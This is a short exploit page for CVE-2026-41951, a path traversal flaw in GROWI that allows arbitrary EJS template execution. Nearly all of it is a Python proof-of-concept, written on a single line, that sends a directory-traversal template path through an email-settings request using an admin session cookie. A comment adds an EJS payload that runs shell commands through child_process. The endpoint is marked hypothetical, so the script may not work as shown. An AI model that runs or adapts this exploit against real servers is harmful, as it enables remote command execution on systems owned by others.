CVE-2026-41951 GROWI路径遍历漏洞致任意EJS模板执行

import requests # Target configuration target_url = "http://localhost:3000/api/vuln/endpoint" # Hypothetical endpoint session_cookie = "connect.sid=..." # Admin session cookie (High Privilege Required) # EJS payload to execute system commands (e.g., 'id') # The payload attempts to traverse directories and load a malicious template or inject code malicious_template_path = "../../../../../../../../../tmp/malicious.ejs" headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Data payload exploiting path traversal in the email server feature payload = { "emailSettings": { "templatePath": malicious_template_path } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server for execution.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}") # Note: A malicious.ejs file on the server would contain code like: # <%= global.process.mainModule.require('child_process').execSync('whoami').toString() %>